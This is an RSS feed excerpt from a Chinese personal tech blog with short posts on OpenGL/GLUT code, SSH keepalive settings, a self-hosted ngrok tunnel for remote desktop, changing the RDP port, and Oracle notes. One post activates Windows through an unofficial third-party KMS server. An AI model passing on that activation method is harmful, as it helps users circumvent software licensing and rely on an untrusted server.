	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span>&nbsp; &nbsp; }
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p8">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span>glMatrixMode<span class="s3">(</span><span class="s1">GL_MODELVIEW</span><span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p8">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span>glLoadIdentity<span class="s3">();</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	}
</p>
<p class="p2">
	<br />
</p>
<p class="p1">
	<i>//用于初始化，常用来设置场景的渲染状态</i> 
</p>
<p class="p2">
	<br />
</p>
<p class="p4">
	<span class="s2"><b>void</b></span> SetupRC(<span class="s2"><b>void</b></span>)
</p>
<p class="p2">
	<br />
</p>
<p class="p4">
	{
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glClearColor</span><span class="s3">(</span>1.0f<span class="s3">,</span>1.0f<span class="s3">, </span>1.0f<span class="s3">,</span>1.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	}
</p>
<p class="p2">
	<br />
</p>
<p class="p2">
	<br />
</p>
<p class="p2">
	<br />
</p>
<p class="p2">
	<br />
</p>
<p class="p2">
	<br />
</p>
<p class="p4">
	<span class="s2"><b>int</b></span> main(<span class="s2"><b>int</b></span> argc,<span class="s2"><b>char</b></span>** argv)
</p>
<p class="p2">
	<br />
</p>
<p class="p4">
	{
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><i>//&nbsp; &nbsp; glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB);</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><i>//&nbsp; &nbsp; glutCreateWindow("GLRect");</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s4">glutInit</span>(&amp;argc, argv);
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><i>//初始化GLUT库OpenGL窗口的显示模式</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p6">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glutInitDisplayMode</span><span class="s3"> (</span>GLUT_SINGLE<span class="s3"> |</span>GLUT_RGB<span class="s3"> |</span>GLUT_DEPTH<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p8">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span>glutInitWindowSize<span class="s3"> (</span><span class="s6">500</span><span class="s3">,</span><span class="s6">500</span><span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p8">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span>glutInitWindowPosition<span class="s3"> (</span><span class="s6">100</span><span class="s3">,</span><span class="s6">100</span><span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;<span class="s4">glutCreateWindow</span> (argv[<span class="s6">0</span>]);
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p8">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span>glutDisplayFunc<span class="s3">(</span><span class="s8">RenderScene</span><span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p8">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span>glutReshapeFunc<span class="s3">(</span><span class="s8">ChangeSize</span><span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s8">SetupRC</span>();
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p8">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span>glutMainLoop<span class="s3">();</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s2"><b>return</b></span> <span class="s6">0</span>;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	}
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Mon, 01 Jul 2019 12:02:08 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=58</guid>

</item>
<item>
	<title>c#老师上课的程序</title>
	<link>https://www.zuoer.xin/?post=57</link>
	<description><![CDATA[<p>
	<br />
</p>
<p>
	不多说
</p>
<p>
	直接上源码
</p>
<p>
	<span class="attachment"><a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201906/f09a1561559581.rar">E04-NetMeetingExample.rar</a></span> 
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201906/6b5f1561559683.png" id="ematt:98"><img src="https://www.zuoer.xin/content/uploadfile/201906/6b5f1561559683.png" title="点击查看原图" alt="TIM截图20190626223422.png" border="0" width="959" height="366" /></a>
</p>]]></description>
	<pubDate>Wed, 26 Jun 2019 14:28:16 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=57</guid>

</item>
<item>
	<title>ssh自动断开怎么办？packet_write_wait: Connection to * . * . * . * port 22: Broken pipe</title>
	<link>https://www.zuoer.xin/?post=55</link>
	<description><![CDATA[<p>
	以下方法任选一个
</p>
<p>
	<br />
</p>
<p>
	方法1 修改服务器
</p>
<p>
	vim /etc/ssh/sshd_config
</p>
<p>
	最下面插入
</p>
<p>
	ClientAliveInterval 60
</p>
<p>
	<span style="white-space:normal;">ClientAliveInterval</span>&nbsp;6000 #理论相当于离线100小时 还可以连接
</p>
<p>
	<br />
</p>
<p>
	/etc/init.d/sshd restart#centos系统，重启SSH服务命令
</p>
<p>
	/etc/init.d/ssh restart＃于Debian / Ubuntu系统，重启SSH服务命令
</p>
<p>
	若提示，/ etc / init.d / sshd没有那个文件或目录，可以使用
</p>
<p>
	service sshd restart
</p>
<p>
	<br />
</p>
<p>
	方法2 &nbsp;修改客户端
</p>
<p>
	如果你没有服务器权限，那么这是个不错的选择——而且，这种办法还有个进阶的使用方法——针对某个服务器单独设置idle时长：
</p>
<p>
	//编辑文件：
</p>
<p>
	~/.ssh/config
</p>
<p>
	//在里边添加如下语句：
</p>
<p>
	ServerAliveInterval 60
</p>
<p>
	<span style="white-space:normal;">ServerAliveInterval&nbsp;</span>6000
</p>
<p>
	<br />
</p>
<p>
	方法3
</p>
<p>
	//针对某一服务器的写法：
</p>
<p>
	//使用如下选项连接服务器：
</p>
<p>
	ssh -o ServerAliveInterval=60 user@sshserver
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Tue, 11 Jun 2019 16:42:12 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=55</guid>

</item>
<item>
	<title>搭建ngrok远程桌面的环境</title>
	<link>https://www.zuoer.xin/?post=54</link>
	<description><![CDATA[<p>
	服务器server的centos环境
</p>
<p>
	yum -y install zlib-devel openssl-devel perl hg cpio expat-devel gettext-devel curl curl-devel perl-ExtUtils-MakeMaker hg wget gcc gcc-c++ git
</p>
<p>
	<br />
</p>
<p>
	## 安装go
</p>
<p>
	sudo yum remove golang
</p>
<p>
	cd /usr/local/src/
</p>
<p>
	sudo wget https://dl.google.com/go/go1.11.2.linux-amd64.tar.gz
</p>
<p>
	sudo tar -C /usr/local -xzf go1.11.2.linux-amd64.tar.gz
</p>
<p>
	echo 'export GOPATH=/usr/local/go
</p>
<p>
	export PATH=$PATH:$GOPATH/bin
</p>
<p>
	export NGROK_DOMAIN="my.zuoer.xin"' | sudo tee -a /etc/profile
</p>
<p>
	source /etc/profile
</p>
<p>
	<br />
</p>
<p>
	## 安装ngrok
</p>
<p>
	git clone https://github.com/inconshreveable/ngrok.git ngrok
</p>
<p>
	cd ngrok
</p>
<p>
	export NGROK_DOMAIN="my.zuoer.xin"
</p>
<p>
	openssl genrsa -out rootCA.key 2048
</p>
<p>
	openssl req -x509 -new -nodes -key rootCA.key -subj "/CN=$NGROK_DOMAIN" -days 5000 -out rootCA.pem
</p>
<p>
	openssl genrsa -out server.key 2048
</p>
<p>
	openssl req -new -key server.key -subj "/CN=$NGROK_DOMAIN" -out server.csr
</p>
<p>
	openssl x509 -req -in server.csr -CA rootCA.pem -CAkey rootCA.key -CAcreateserial -out server.crt -days 5000
</p>
<p>
	cp rootCA.pem assets/client/tls/ngrokroot.crt
</p>
<p>
	cp server.crt assets/server/tls/snakeoil.crt
</p>
<p>
	cp server.key assets/server/tls/snakeoil.key
</p>
<p>
	<br />
</p>
<p>
	生成服务端
</p>
<p>
	-----------
</p>
<p>
	<span class="line" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-family:&quot;font-size:11.34px;vertical-align:baseline;height:1.7em;line-height:1.7em;color:#525252;white-space:pre;"><span class="meta" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">#</span><span class="bash" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">Linux 平台 32 位系统：GOOS=linux GOARCH=386</span></span><br style="box-sizing:border-box;color:#525252;font-family:&quot;font-size:11.34px;white-space:pre;" />
<span class="line" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-family:&quot;font-size:11.34px;vertical-align:baseline;height:1.7em;line-height:1.7em;color:#525252;white-space:pre;"><span class="meta" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">#</span><span class="bash" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">Linux 平台 64 位系统：GOOS=linux GOARCH=amd64</span></span><br style="box-sizing:border-box;color:#525252;font-family:&quot;font-size:11.34px;white-space:pre;" />
<span class="line" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-family:&quot;font-size:11.34px;vertical-align:baseline;height:1.7em;line-height:1.7em;color:#525252;white-space:pre;"><span class="meta" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">#</span><span class="bash" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">Windows 平台 32 位系统：GOOS=windows GOARCH=386</span></span><br style="box-sizing:border-box;color:#525252;font-family:&quot;font-size:11.34px;white-space:pre;" />
<span class="line" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-family:&quot;font-size:11.34px;vertical-align:baseline;height:1.7em;line-height:1.7em;color:#525252;white-space:pre;"><span class="meta" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">#</span><span class="bash" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">Windows 平台 64 位系统：GOOS=windows GOARCH=amd64</span></span><br style="box-sizing:border-box;color:#525252;font-family:&quot;font-size:11.34px;white-space:pre;" />
<span class="line" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-family:&quot;font-size:11.34px;vertical-align:baseline;height:1.7em;line-height:1.7em;color:#525252;white-space:pre;"><span class="meta" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">#</span><span class="bash" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">MAC 平台 32 位系统：GOOS=darwin GOARCH=386</span></span><br style="box-sizing:border-box;color:#525252;font-family:&quot;font-size:11.34px;white-space:pre;" />
<span class="line" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-family:&quot;font-size:11.34px;vertical-align:baseline;height:1.7em;line-height:1.7em;color:#525252;white-space:pre;"><span class="meta" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">#</span><span class="bash" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">MAC 平台 64 位系统：GOOS=darwin GOARCH=amd64</span></span><br style="box-sizing:border-box;color:#525252;font-family:&quot;font-size:11.34px;white-space:pre;" />
<span class="line" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-family:&quot;font-size:11.34px;vertical-align:baseline;height:1.7em;line-height:1.7em;color:#525252;white-space:pre;"><span class="meta" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">#</span><span class="bash" style="box-sizing:border-box;margin:0px;padding:0px;border:0px;outline:0px;font-weight:inherit;font-style:inherit;font-family:inherit;font-size:12px;vertical-align:baseline;">ARM 平台：GOOS=linux GOARCH=arm</span></span><br style="box-sizing:border-box;color:#525252;font-family:&quot;font-size:11.34px;white-space:pre;" />
------------
</p>
<p>
	我的是
</p>
<p>
	服务器 GOOS=linux GOARCH=amd64 make release-server
</p>
<p>
	客户端 GOOS=windows GOARCH=386 make release-client
</p>
<p>
	<br />
</p>
<p>
	启动ngrokd
</p>
<p>
	<p style="white-space:normal;">
		apt install screen
	</p>
	<p style="white-space:normal;">
		screen -S ngrok
	</p>
	<p style="white-space:normal;">
		<span style="white-space:normal;"># 安装ctrl+ A+D 就在后台运行了 ; screen -ls &nbsp;查看列表; &nbsp;screen -r ngrok 回到对应的名称的前台</span>
	</p>
</p>
<p>
	nohup ./<span style="white-space:normal;">bin</span>/ngrokd -tlsKey="assets/server/tls/snakeoil.key" -tlsCrt="assets/server/tls/snakeoil.crt" -domain="$NGROK_DOMAIN" &nbsp;-httpAddr=":8081" -httpsAddr=":8082" -tunnelAddr=":4443"
</p>
<p>
	或者（http）
</p>
<p>
	nohup ./bin<span style="white-space:normal;">/</span>ngrokd -tlsKey=server.key -tlsCrt=server.crt -domain="my.zuoer.xin" -httpAddr=":8081" &nbsp;&amp;
</p>
或者
<p>
	sudo ./ngrokd -domain $NGROK_DOMAIN
</p>
<p>
	<br />
</p>
<p>
	把bin/windows_386下的ngrok.exe 拷到Windows上
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201906/a14f1560262950.png" id="ematt:89"><img src="https://www.zuoer.xin/content/uploadfile/201906/a14f1560262950.png" title="点击查看原图" alt="WX20190611-222219@2x.png" border="0" width="680" height="180" /></a> 
</p>
<p>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 10.0px Monaco; color: #f4f4f4; background-color: #000000; background-color: rgba(0, 0, 0, 0.85)}
span.s1 {font-variant-ligatures: no-common-ligatures}
</style>
</p>
<p class="p1">
	<span class="s1">scp root@***://usr/local/src/ngrok/bin/windows_386/ngrok.exe /Users/***/Desktop</span> 
</p>
<p>
	<br />
</p>
<p>
	客户端使用
</p>
<p>
	把编译生成ngrok.exe发送到window机器，新建ngrok.cfg,追加下面的内容
</p>
<p>
	server_addr: "<span style="white-space:normal;">zuoer.xin</span>:4443"
</p>
<p>
	trust_host_root_certs: false
</p>
<p>
	tunnels:
</p>
<p>
	mstsc:
</p>
<p>
	&nbsp; &nbsp;remote_port: 50123
</p>
<p>
	proto:
</p>
<p>
	&nbsp; &nbsp;tcp: "127.0.0.1:3389"
</p>
<p>
	<br />
</p>
<p>
	<span style="white-space:normal;">使用cmd执行:</span> 
</p>
<p>
	ngrok.exe -config=ngrok.cfg start mstsc
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201906/c2431560271303.png" id="ematt:93"><img src="https://www.zuoer.xin/content/uploadfile/201906/c2431560271303.png" title="点击查看原图" alt="WX20190612-004123@2x.png" border="0" width="1040" height="306" /></a> 
</p>
<p>
	<br />
</p>
<p>
	<span style="white-space:normal;">ngrok 其他使用在下面</span> 
</p>
<p>
	<br />
</p>
<p>
	server_addr: "<span style="white-space:normal;">zuoer.xin</span>:4443"
</p>
<p>
	trust_host_root_certs: false
</p>
<p>
	<br />
</p>
<p>
	ngrok.exe -subdomain hello &nbsp;-proto=http -config=ngrok.cfg 3000
</p>
<p>
	linux客户端同理， 只需要把ngrok.exe换成ngrok
</p>
<p>
	执行报错，配置的server_addr的域名需要和上面server中配置的域名一致
</p>
<p>
	#client报错
</p>
<p>
	Tunnel Status &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; reconnecting
</p>
<p>
	Version &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1.7/
</p>
<p>
	Web Interface &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 127.0.0.1:4040
</p>
<p>
	Conn &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0
</p>
<p>
	Avg Conn Time &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0.00ms
</p>
<p>
	<br />
</p>
<p>
	#server端报错
</p>
<p>
	[20:33:07 CST 2018/11/19] [INFO] (ngrok/log.(*PrefixLogger).Info:83) [pub:77b2576c] New connection from 185.10.68.26:34410
</p>
<p>
	[20:33:07 CST 2018/11/19] [DEBG] (ngrok/log.(*PrefixLogger).Debug:79) [pub:77b2576c] Found hostname &nbsp;in request
</p>
<p>
	[20:33:07 CST 2018/11/19] [INFO] (ngrok/log.(*PrefixLogger).Info:83) [pub:77b2576c] No tunnel found for hostname
</p>
<p>
	[20:33:07 CST 2018/11/19] [DEBG] (ngrok/log.(*PrefixLogger).Debug:79) [pub:77b2576c] Closing
</p>
<p>
	<br />
</p>
<p>
	8 客户端绑定多种方式
</p>
<p>
	绑定client的3000端口映射到http|https://hello.<span style="white-space:normal;">zuoer.xin</span> 
</p>
<p>
	./ngrok -subdomain hello &nbsp;-proto=http -config=ngrok.cfg 3000 &nbsp;
</p>
<p>
	<br />
</p>
<p>
	绑定client的3000端口映射到tcp://hello.<span style="white-space:normal;">zuoer.xin</span> 
</p>
<p>
	./ngrok -subdomain hello &nbsp;-proto=tcp -config=ngrok.cfg 3000
</p>
<p>
	<br />
</p>
<p>
	如果想一次性转发多个端口或者想指定远程的对应端口，需要完善ngrok.cfg
</p>
<p>
	server_addr: ngrok.moonwalker.me:4443
</p>
<p>
	trust_host_root_certs: false
</p>
<p>
	tunnels:
</p>
<p>
	ssh:
</p>
<p>
	&nbsp;remote_port: 1122
</p>
<p>
	&nbsp;proto:
</p>
<p>
	&nbsp; tcp: 22
</p>
<p>
	ss:
</p>
<p>
	&nbsp;emote_port: 8388
</p>
<p>
	&nbsp;proto:
</p>
<p>
	&nbsp; tcp: 8388
</p>
<p>
	ftp:
</p>
<p>
	&nbsp;remote_port: 20
</p>
<p>
	&nbsp;proto:
</p>
<p>
	&nbsp; tcp: 20
</p>
<p>
	ftp2:
</p>
<p>
	&nbsp;remote_port: 21
</p>
<p>
	&nbsp;proto:
</p>
<p>
	&nbsp; tcp: 21
</p>
<p>
	http:
</p>
<p>
	&nbsp;subdomain: www
</p>
<p>
	&nbsp;proto:
</p>
<p>
	&nbsp; http: 80
</p>
<p>
	&nbsp; https: 443
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 10.0px Monaco; color: #f4f4f4; background-color: #000000; background-color: rgba(0, 0, 0, 0.85)}
span.s1 {font-variant-ligatures: no-common-ligatures}
</style>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 10.0px Monaco; color: #f4f4f4; background-color: #000000; background-color: rgba(0, 0, 0, 0.85)}
span.s1 {font-variant-ligatures: no-common-ligatures}
</style>]]></description>
	<pubDate>Tue, 11 Jun 2019 13:37:58 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=54</guid>

</item>
<item>
	<title>一句话激活windows</title>
	<link>https://www.zuoer.xin/?post=53</link>
	<description><![CDATA[<p>
	1 . slmgr /skms kms.03k.org
</p>
<p>
	2. &nbsp;slmgr /ato 也可以去计算机属性或者控制面板其他的什么的地方点一下激活就好了。
</p>
<br />]]></description>
	<pubDate>Tue, 11 Jun 2019 10:38:33 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=53</guid>

</item>
<item>
	<title>修改3389端口</title>
	<link>https://www.zuoer.xin/?post=52</link>
	<description><![CDATA[<p>
	1.Run - Regedit
</p>
<p>
	<br />
</p>
<p>
	2,.找到&nbsp;HKEY_LOCAL_MACHINE/&nbsp;SYSTEM/ CurrentControlSet/ Control/ Terminal Server/ Wds/ rdpwd/ Tds/ tcp/ PortNumber 修改&nbsp;
</p>
<p>
	<br />
</p>
<p>
	3.&nbsp;找到&nbsp;HKEY_LOCAL_MACHINE/&nbsp;SYSTEM/ CurrentControlSet/ Control/ Terminal Server/ Winstations/ RDP-Tcp/ PortNumber 修改
</p>
<p>
	<br />
</p>
<p>
	4.重启
</p>]]></description>
	<pubDate>Tue, 11 Jun 2019 10:33:30 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=52</guid>

</item>
<item>
	<title>mac 启动两个QQ 微信 VS 等等</title>
	<link>https://www.zuoer.xin/?post=51</link>
	<description><![CDATA[<p class="MsoNormal" align="left" style="text-align:left;">
	<span>open -n
/Applications/QQ.app&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
QQ</span>的 或者<span>command+N</span>
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<span>open -n
/Applications/WeChat.app/Contents/MacOS/WeChat&nbsp; &nbsp; &nbsp; &nbsp;</span>微信的<span></span>
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<span>open -n
/applications/Unity/Unity.app&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unity</span>的<span></span>
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<span>open -n
/applications/"Visual Studio.app"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;vs</span>的<span></span>
</p>]]></description>
	<pubDate>Mon, 10 Jun 2019 15:21:19 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=51</guid>

</item>
<item>
	<title>oracle 学习记录</title>
	<link>https://www.zuoer.xin/?post=49</link>
	<description><![CDATA[<p class="MsoNormal">
	<span>SQL&gt; --init</span>是一个备份副本，不是真正的启动参数文件，是文本类型<span></span>
</p>
<p class="MsoNormal">
	<span>SQL&gt; --init.ora</span>是一个备份副本，不是真正的启动参数文件，是文本类型<span></span>
</p>
<p class="MsoNormal">
	<span>SQL&gt; --spfile+</span>实例名<span>.ora</span>（<span>spfileorcl.ora</span>） 是一个编译过的二进制文件，是不可编辑改动的<span></span>
</p>
<p class="MsoNormal">
	<span>SQL&gt; --</span>位置：<span>C:\app\Administrator\product\11.2.0\dbhome_1\database</span>
</p>
<p class="MsoNormal">
	<span>SQL&gt; show parameter open_cursor;</span>
</p>
<p class="MsoNormal">
	<span>SQL&gt; alter system set open_cursors=350;</span>
</p>
<p class="MsoNormal">
	<span>SQL&gt; shutdown immediate;</span>
</p>
<p class="MsoNormal">
	<span>SQL&gt; startup; </span>
</p>
<p class="MsoNormal">
	<span>SQL&gt; connect / as sysdba;</span>
</p>
<p class="MsoNormal">
	<span>SQL&gt; show parameter open_cursor;</span>
</p>
<p class="MsoNormal">
	<span>SQL&gt; shutdown immediate;</span>
</p>
<p class="MsoNormal">
	<span>SQL&gt; startup
